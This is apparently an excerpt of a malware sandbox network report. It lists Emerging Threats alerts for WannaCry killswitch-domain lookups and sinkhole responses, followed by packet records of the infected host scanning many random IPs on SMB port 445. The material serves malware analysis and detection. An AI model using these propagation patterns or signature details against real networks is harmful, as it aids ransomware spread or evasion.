104.16.173.80192.168.2.680497842031515 07/21/22-04:33:55.523144	TCP	2031515	ET TROJAN Known Sinkhole Response Kryptos Logic	80	49784	104.16.173.80	192.168.2.6
192.168.2.68.8.8.856591532024291 07/21/22-04:33:54.084862	UDP	2024291	ET TROJAN Possible WannaCry DNS Lookup 1	56591	53	192.168.2.6	8.8.8.8
104.16.173.80192.168.2.680497652031515 07/21/22-04:33:52.319271	TCP	2031515	ET TROJAN Known Sinkhole Response Kryptos Logic	80	49765	104.16.173.80	192.168.2.6
192.168.2.68.8.8.860350532024291 07/21/22-04:33:55.396180	UDP	2024291	ET TROJAN Possible WannaCry DNS Lookup 1	60350	53	192.168.2.6	8.8.8.8
192.168.2.6104.16.173.8049765802024298 07/21/22-04:33:52.283514	TCP	2024298	ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1	49765	80	192.168.2.6	104.16.173.80
104.16.173.80192.168.2.680497682031515 07/21/22-04:33:54.200996	TCP	2031515	ET TROJAN Known Sinkhole Response Kryptos Logic	80	49768	104.16.173.80	192.168.2.6
192.168.2.68.8.8.851971532024291 07/21/22-04:33:52.163039	UDP	2024291	ET TROJAN Possible WannaCry DNS Lookup 1	51971	53	192.168.2.6	8.8.8.8
192.168.2.6104.16.173.8049784802024298 07/21/22-04:33:55.484581	TCP	2024298	ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1	49784	80	192.168.2.6	104.16.173.80
192.168.2.6104.16.173.8049768802024298 07/21/22-04:33:54.169351	TCP	2024298	ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1	49768	80	192.168.2.6	104.16.173.80

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 21, 2022 04:33:35.667550087 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.668076992 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.669522047 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.669641018 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.703805923 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.703835964 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.704097986 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.704258919 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.745450020 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.745480061 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.745749950 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.745846033 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.900633097 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.901025057 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:35.944508076 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:35.944509029 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.037456036 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.037542105 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.037614107 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.037631989 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.046519041 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.046565056 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.046590090 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.046660900 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.046684980 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.046698093 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.046751022 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.069847107 CEST	49722	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.069885015 CEST	443	49722	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.089936018 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.089968920 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.090038061 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.090054989 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.090111971 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.090142012 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.090519905 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.090554953 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.090641022 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.090661049 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.090706110 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.130942106 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.131042957 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.131145954 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.131185055 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.142174006 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.142210007 CEST	443	49723	20.82.209.183	192.168.2.6
Jul 21, 2022 04:33:36.142252922 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.142272949 CEST	49723	443	192.168.2.6	20.82.209.183
Jul 21, 2022 04:33:36.375950098 CEST	49713	443	192.168.2.6	20.190.160.131
Jul 21, 2022 04:33:37.717428923 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717544079 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717607021 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717653990 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717706919 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717732906 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717752934 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717808962 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717828035 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.717840910 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.735719919 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735745907 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735760927 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735780954 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735795975 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735811949 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735830069 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735845089 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735861063 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735876083 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735893011 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735908031 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735923052 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735938072 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735953093 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735968113 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735982895 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.735999107 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736012936 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736027956 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736067057 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736083031 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736099005 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736181021 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736197948 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736354113 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736370087 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736386061 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736515999 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736531973 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736547947 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736562967 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736577034 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736650944 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736670971 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736685991 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736705065 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736808062 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736824036 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736943960 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736958981 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.736979008 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737121105 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737137079 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737152100 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737166882 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737181902 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737196922 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737219095 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737225056 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.737236023 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737248898 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:37.737271070 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737286091 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737299919 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737313032 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737328053 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737346888 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737365007 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737379074 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737392902 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.737407923 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.779577971 CEST	443	49720	204.79.197.200	192.168.2.6
Jul 21, 2022 04:33:37.779731989 CEST	49720	443	192.168.2.6	204.79.197.200
Jul 21, 2022 04:33:46.675451994 CEST	49752	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:46.675472021 CEST	49751	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:46.675492048 CEST	443	49752	20.190.160.3	192.168.2.6
Jul 21, 2022 04:33:46.675509930 CEST	443	49751	20.190.160.3	192.168.2.6
Jul 21, 2022 04:33:46.675621986 CEST	49752	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:46.675743103 CEST	49751	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:46.676107883 CEST	49752	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:46.676120996 CEST	443	49752	20.190.160.3	192.168.2.6
Jul 21, 2022 04:33:46.676506996 CEST	49751	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:46.676527977 CEST	443	49751	20.190.160.3	192.168.2.6
Jul 21, 2022 04:33:48.471328974 CEST	49755	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:48.471374035 CEST	443	49755	20.190.160.3	192.168.2.6
Jul 21, 2022 04:33:48.471462011 CEST	49755	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:48.471695900 CEST	49755	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:33:48.471710920 CEST	443	49755	20.190.160.3	192.168.2.6
Jul 21, 2022 04:33:52.240706921 CEST	49765	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:52.257505894 CEST	80	49765	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:52.257651091 CEST	49765	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:52.283514023 CEST	49765	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:52.303987026 CEST	80	49765	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:52.319271088 CEST	80	49765	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:52.319304943 CEST	80	49765	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:52.319407940 CEST	49765	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:52.323455095 CEST	49765	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:52.340121031 CEST	80	49765	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:54.151818037 CEST	49768	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:54.168539047 CEST	80	49768	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:54.168637991 CEST	49768	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:54.169351101 CEST	49768	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:54.185900927 CEST	80	49768	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:54.200995922 CEST	80	49768	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:54.201085091 CEST	49768	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:54.201097965 CEST	80	49768	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:54.201201916 CEST	49768	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:54.201356888 CEST	49768	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:54.217835903 CEST	80	49768	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:54.279514074 CEST	49769	445	192.168.2.6	182.11.224.89
Jul 21, 2022 04:33:55.393855095 CEST	49783	445	192.168.2.6	102.75.167.167
Jul 21, 2022 04:33:55.464577913 CEST	49784	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:55.483750105 CEST	80	49784	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:55.483896971 CEST	49784	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:55.484580994 CEST	49784	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:55.504743099 CEST	80	49784	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:55.523144007 CEST	80	49784	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:55.523176908 CEST	80	49784	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:55.523233891 CEST	49784	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:55.523284912 CEST	49784	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:55.523472071 CEST	49784	80	192.168.2.6	104.16.173.80
Jul 21, 2022 04:33:55.540148973 CEST	80	49784	104.16.173.80	192.168.2.6
Jul 21, 2022 04:33:56.239208937 CEST	49792	445	192.168.2.6	34.233.128.110
Jul 21, 2022 04:33:56.519541979 CEST	49795	445	192.168.2.6	96.202.167.101
Jul 21, 2022 04:33:57.354382038 CEST	49803	445	192.168.2.6	46.56.118.23
Jul 21, 2022 04:33:57.659962893 CEST	49808	445	192.168.2.6	213.203.76.144
Jul 21, 2022 04:33:58.267875910 CEST	49818	445	192.168.2.6	188.100.148.168
Jul 21, 2022 04:33:58.456600904 CEST	49820	445	192.168.2.6	214.211.247.143
Jul 21, 2022 04:33:58.836325884 CEST	49824	445	192.168.2.6	184.90.185.153
Jul 21, 2022 04:33:59.390815973 CEST	49831	445	192.168.2.6	90.105.150.171
Jul 21, 2022 04:33:59.597354889 CEST	49835	445	192.168.2.6	56.162.126.216
Jul 21, 2022 04:33:59.958364964 CEST	49839	445	192.168.2.6	44.19.67.204
Jul 21, 2022 04:34:00.277972937 CEST	49843	445	192.168.2.6	6.82.34.165
Jul 21, 2022 04:34:00.505269051 CEST	49847	445	192.168.2.6	117.198.237.161
Jul 21, 2022 04:34:00.707564116 CEST	49851	445	192.168.2.6	181.27.223.213
Jul 21, 2022 04:34:01.097654104 CEST	49854	445	192.168.2.6	175.135.171.175
Jul 21, 2022 04:34:01.453242064 CEST	49858	445	192.168.2.6	54.203.16.247
Jul 21, 2022 04:34:01.645945072 CEST	49862	445	192.168.2.6	29.83.8.161
Jul 21, 2022 04:34:01.832137108 CEST	49866	445	192.168.2.6	132.160.28.50
Jul 21, 2022 04:34:02.222551107 CEST	49870	445	192.168.2.6	62.215.144.179
Jul 21, 2022 04:34:02.301487923 CEST	49872	445	192.168.2.6	223.108.163.177
Jul 21, 2022 04:34:02.566639900 CEST	49875	445	192.168.2.6	153.22.244.217
Jul 21, 2022 04:34:02.769500971 CEST	49880	445	192.168.2.6	2.209.146.209
Jul 21, 2022 04:34:02.978313923 CEST	49882	445	192.168.2.6	53.225.201.71
Jul 21, 2022 04:34:03.332318068 CEST	49887	445	192.168.2.6	165.97.253.22
Jul 21, 2022 04:34:03.416404009 CEST	49889	445	192.168.2.6	157.83.124.81
Jul 21, 2022 04:34:03.681153059 CEST	49892	445	192.168.2.6	80.43.107.158
Jul 21, 2022 04:34:03.879147053 CEST	49896	445	192.168.2.6	189.99.8.144
Jul 21, 2022 04:34:04.097898006 CEST	49899	445	192.168.2.6	148.189.209.204
Jul 21, 2022 04:34:04.303288937 CEST	49901	445	192.168.2.6	89.77.10.84
Jul 21, 2022 04:34:04.453211069 CEST	49904	445	192.168.2.6	113.217.40.189
Jul 21, 2022 04:34:04.535583019 CEST	49906	445	192.168.2.6	57.97.8.19
Jul 21, 2022 04:34:04.801588058 CEST	49910	445	192.168.2.6	50.82.175.45
Jul 21, 2022 04:34:05.004503965 CEST	49914	445	192.168.2.6	163.119.188.177
Jul 21, 2022 04:34:05.224873066 CEST	49916	445	192.168.2.6	149.57.36.239
Jul 21, 2022 04:34:05.410460949 CEST	49919	445	192.168.2.6	175.232.70.168
Jul 21, 2022 04:34:05.593287945 CEST	49922	445	192.168.2.6	23.248.165.126
Jul 21, 2022 04:34:05.663669109 CEST	49923	445	192.168.2.6	107.153.59.2
Jul 21, 2022 04:34:05.926491022 CEST	49927	445	192.168.2.6	219.81.119.175
Jul 21, 2022 04:34:06.129029036 CEST	49931	445	192.168.2.6	74.146.74.168
Jul 21, 2022 04:34:06.348627090 CEST	49933	445	192.168.2.6	146.208.232.188
Jul 21, 2022 04:34:06.367372036 CEST	49934	445	192.168.2.6	215.166.90.10
Jul 21, 2022 04:34:06.535913944 CEST	49937	445	192.168.2.6	13.24.212.180
Jul 21, 2022 04:34:06.735917091 CEST	49940	445	192.168.2.6	48.187.60.170
Jul 21, 2022 04:34:06.788312912 CEST	49942	445	192.168.2.6	79.177.116.185
Jul 21, 2022 04:34:07.056257010 CEST	49946	445	192.168.2.6	132.131.171.207
Jul 21, 2022 04:34:07.258877993 CEST	49949	445	192.168.2.6	213.139.90.84
Jul 21, 2022 04:34:07.457781076 CEST	49951	445	192.168.2.6	180.214.116.219
Jul 21, 2022 04:34:07.490088940 CEST	49953	445	192.168.2.6	87.139.75.131
Jul 21, 2022 04:34:07.660655975 CEST	49957	445	192.168.2.6	171.116.8.252
Jul 21, 2022 04:34:07.850033045 CEST	49959	445	192.168.2.6	188.232.55.236
Jul 21, 2022 04:34:07.917902946 CEST	49960	445	192.168.2.6	129.233.163.251
Jul 21, 2022 04:34:08.165091038 CEST	49965	445	192.168.2.6	92.233.173.60
Jul 21, 2022 04:34:08.370580912 CEST	49967	445	192.168.2.6	89.67.167.251
Jul 21, 2022 04:34:08.379676104 CEST	49968	445	192.168.2.6	82.112.96.226
Jul 21, 2022 04:34:08.581470013 CEST	49971	445	192.168.2.6	47.205.101.34
Jul 21, 2022 04:34:08.614001036 CEST	49973	445	192.168.2.6	195.21.244.69
Jul 21, 2022 04:34:08.770215988 CEST	49976	445	192.168.2.6	205.186.168.135
Jul 21, 2022 04:34:08.973467112 CEST	49978	445	192.168.2.6	24.36.191.39
Jul 21, 2022 04:34:09.037046909 CEST	49980	445	192.168.2.6	181.29.68.9
Jul 21, 2022 04:34:09.367727041 CEST	49984	445	192.168.2.6	50.63.76.157
Jul 21, 2022 04:34:09.499401093 CEST	49986	445	192.168.2.6	187.237.227.241
Jul 21, 2022 04:34:09.505026102 CEST	49987	445	192.168.2.6	170.243.16.203
Jul 21, 2022 04:34:09.691945076 CEST	49991	445	192.168.2.6	75.153.137.70
Jul 21, 2022 04:34:09.739903927 CEST	49992	445	192.168.2.6	143.105.248.110
Jul 21, 2022 04:34:09.895178080 CEST	49995	445	192.168.2.6	24.10.77.254
Jul 21, 2022 04:34:10.102082968 CEST	49996	445	192.168.2.6	106.197.198.126
Jul 21, 2022 04:34:10.207758904 CEST	49999	445	192.168.2.6	136.110.196.118
Jul 21, 2022 04:34:10.383332014 CEST	50003	445	192.168.2.6	173.75.203.235
Jul 21, 2022 04:34:10.479027033 CEST	50005	445	192.168.2.6	200.80.134.88
Jul 21, 2022 04:34:10.598442078 CEST	50006	445	192.168.2.6	39.131.64.26
Jul 21, 2022 04:34:10.629645109 CEST	50008	445	192.168.2.6	67.111.95.0
Jul 21, 2022 04:34:10.837342024 CEST	50012	445	192.168.2.6	165.182.213.147
Jul 21, 2022 04:34:10.864097118 CEST	50014	445	192.168.2.6	219.206.1.207
Jul 21, 2022 04:34:11.004635096 CEST	50015	445	192.168.2.6	168.198.178.0
Jul 21, 2022 04:34:11.223561049 CEST	50017	445	192.168.2.6	35.180.42.203
Jul 21, 2022 04:34:11.332773924 CEST	50020	445	192.168.2.6	75.9.196.6
Jul 21, 2022 04:34:11.516107082 CEST	50024	445	192.168.2.6	141.165.127.196
Jul 21, 2022 04:34:11.598476887 CEST	50025	445	192.168.2.6	104.33.229.32
Jul 21, 2022 04:34:11.740489006 CEST	50028	445	192.168.2.6	64.203.187.111
Jul 21, 2022 04:34:11.755125999 CEST	50029	445	192.168.2.6	42.123.120.63
Jul 21, 2022 04:34:11.957907915 CEST	50033	445	192.168.2.6	8.203.161.67
Jul 21, 2022 04:34:11.989238024 CEST	50034	445	192.168.2.6	155.198.78.20
Jul 21, 2022 04:34:12.115135908 CEST	50035	445	192.168.2.6	184.76.225.89
Jul 21, 2022 04:34:12.572755098 CEST	50037	445	192.168.2.6	93.230.136.246
Jul 21, 2022 04:34:12.584664106 CEST	50039	445	192.168.2.6	176.62.119.39
Jul 21, 2022 04:34:12.683691978 CEST	50041	445	192.168.2.6	213.10.201.223
Jul 21, 2022 04:34:12.684504032 CEST	50042	445	192.168.2.6	67.240.251.233
Jul 21, 2022 04:34:12.762945890 CEST	50043	445	192.168.2.6	208.81.124.153
Jul 21, 2022 04:34:12.863992929 CEST	50046	445	192.168.2.6	27.41.102.79
Jul 21, 2022 04:34:12.864703894 CEST	50047	445	192.168.2.6	170.63.139.67
Jul 21, 2022 04:34:13.073962927 CEST	50049	445	192.168.2.6	79.181.38.61
Jul 21, 2022 04:34:13.119374037 CEST	50051	445	192.168.2.6	186.94.221.17
Jul 21, 2022 04:34:13.295650005 CEST	50053	445	192.168.2.6	157.69.147.181
Jul 21, 2022 04:34:14.497608900 CEST	50058	445	192.168.2.6	145.48.142.135
Jul 21, 2022 04:34:14.497919083 CEST	50059	445	192.168.2.6	223.95.204.6
Jul 21, 2022 04:34:14.602190018 CEST	50063	445	192.168.2.6	161.9.76.142
Jul 21, 2022 04:34:14.602278948 CEST	50064	445	192.168.2.6	87.122.58.135
Jul 21, 2022 04:34:14.602366924 CEST	50065	445	192.168.2.6	171.233.78.205
Jul 21, 2022 04:34:14.602456093 CEST	50066	445	192.168.2.6	163.25.176.132
Jul 21, 2022 04:34:14.602533102 CEST	50067	445	192.168.2.6	135.33.64.29
Jul 21, 2022 04:34:14.602613926 CEST	50068	445	192.168.2.6	193.106.69.92
Jul 21, 2022 04:34:14.602691889 CEST	50069	445	192.168.2.6	99.231.198.212
Jul 21, 2022 04:34:14.602770090 CEST	50070	445	192.168.2.6	122.149.190.239
Jul 21, 2022 04:34:14.603607893 CEST	50071	445	192.168.2.6	86.230.242.45
Jul 21, 2022 04:34:16.980990887 CEST	50080	445	192.168.2.6	8.57.75.21
Jul 21, 2022 04:34:16.989429951 CEST	49752	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:34:16.989495993 CEST	49751	443	192.168.2.6	20.190.160.3
Jul 21, 2022 04:34:17.020921946 CEST	50082	445	192.168.2.6	4.212.132.115
Jul 21, 2022 04:34:17.099669933 CEST	50083	445	192.168.2.6	121.23.205.54
Jul 21, 2022 04:34:17.100549936 CEST	50084	445	192.168.2.6	158.84.106.148
Jul 21, 2022 04:34:17.100640059 CEST	50085	445	192.168.2.6	49.6.237.170
Jul 21, 2022 04:34:17.100706100 CEST	50086	445	192.168.2.6	133.178.221.154
Jul 21, 2022 04:34:17.100784063 CEST	50087	445	192.168.2.6	209.227.235.211
Jul 21, 2022 04:34:17.100864887 CEST	50088	445	192.168.2.6	157.150.215.30
Jul 21, 2022 04:34:17.100935936 CEST	50089	445	192.168.2.6	76.100.22.151
Jul 21, 2022 04:34:17.100987911 CEST	50090	445	192.168.2.6	109.21.91.175
Jul 21, 2022 04:34:17.101052999 CEST	50091	445	192.168.2.6	95.66.71.163
Jul 21, 2022 04:34:17.101120949 CEST	50092	445	192.168.2.6	59.88.127.229
Jul 21, 2022 04:34:18.083511114 CEST	50103	445	192.168.2.6	70.129.40.236
Jul 21, 2022 04:34:18.130466938 CEST	50105	445	192.168.2.6	155.103.205.111
Jul 21, 2022 04:34:18.208539009 CEST	50107	445	192.168.2.6	24.6.69.249
Jul 21, 2022 04:34:18.209295034 CEST	50108	445	192.168.2.6	46.88.48.179
Jul 21, 2022 04:34:18.210001945 CEST	50109	445	192.168.2.6	174.105.209.66
Jul 21, 2022 04:34:18.210707903 CEST	50110	445	192.168.2.6	62.89.154.166
Jul 21, 2022 04:34:18.212960958 CEST	50111	445	192.168.2.6	79.226.65.204
Jul 21, 2022 04:34:18.213018894 CEST	50112	445	192.168.2.6	16.219.78.144
Jul 21, 2022 04:34:18.213028908 CEST	50113	445	192.168.2.6	13.170.56.13
Jul 21, 2022 04:34:18.213125944 CEST	50114	445	192.168.2.6	22.250.114.1
Jul 21, 2022 04:34:18.213134050 CEST	50115	445	192.168.2.6	117.46.201.144
Jul 21, 2022 04:34:18.213196993 CEST	50116	445	192.168.2.6	130.194.15.180
Jul 21, 2022 04:34:18.938626051 CEST	50125	445	192.168.2.6	203.19.9.132
Jul 21, 2022 04:34:19.209903955 CEST	50129	445	192.168.2.6	207.114.119.117
Jul 21, 2022 04:34:19.240099907 CEST	50130	445	192.168.2.6	155.60.206.34
Jul 21, 2022 04:34:19.318567038 CEST	50132	445	192.168.2.6	66.223.62.124
Jul 21, 2022 04:34:19.319087982 CEST	50133	445	192.168.2.6	38.80.195.23
Jul 21, 2022 04:34:19.319581985 CEST	50134	445	192.168.2.6	56.194.86.172
Jul 21, 2022 04:34:19.320096970 CEST	50135	445	192.168.2.6	172.39.51.27
Jul 21, 2022 04:34:19.320611954 CEST	50136	445	192.168.2.6	76.214.121.203
Jul 21, 2022 04:34:19.321115017 CEST	50137	445	192.168.2.6	83.104.124.180
Jul 21, 2022 04:34:19.322180986 CEST	50139	445	192.168.2.6	8.181.103.225
Jul 21, 2022 04:34:19.322755098 CEST	50140	445	192.168.2.6	49.192.113.122
Jul 21, 2022 04:34:19.323276997 CEST	50141	445	192.168.2.6	48.184.164.50
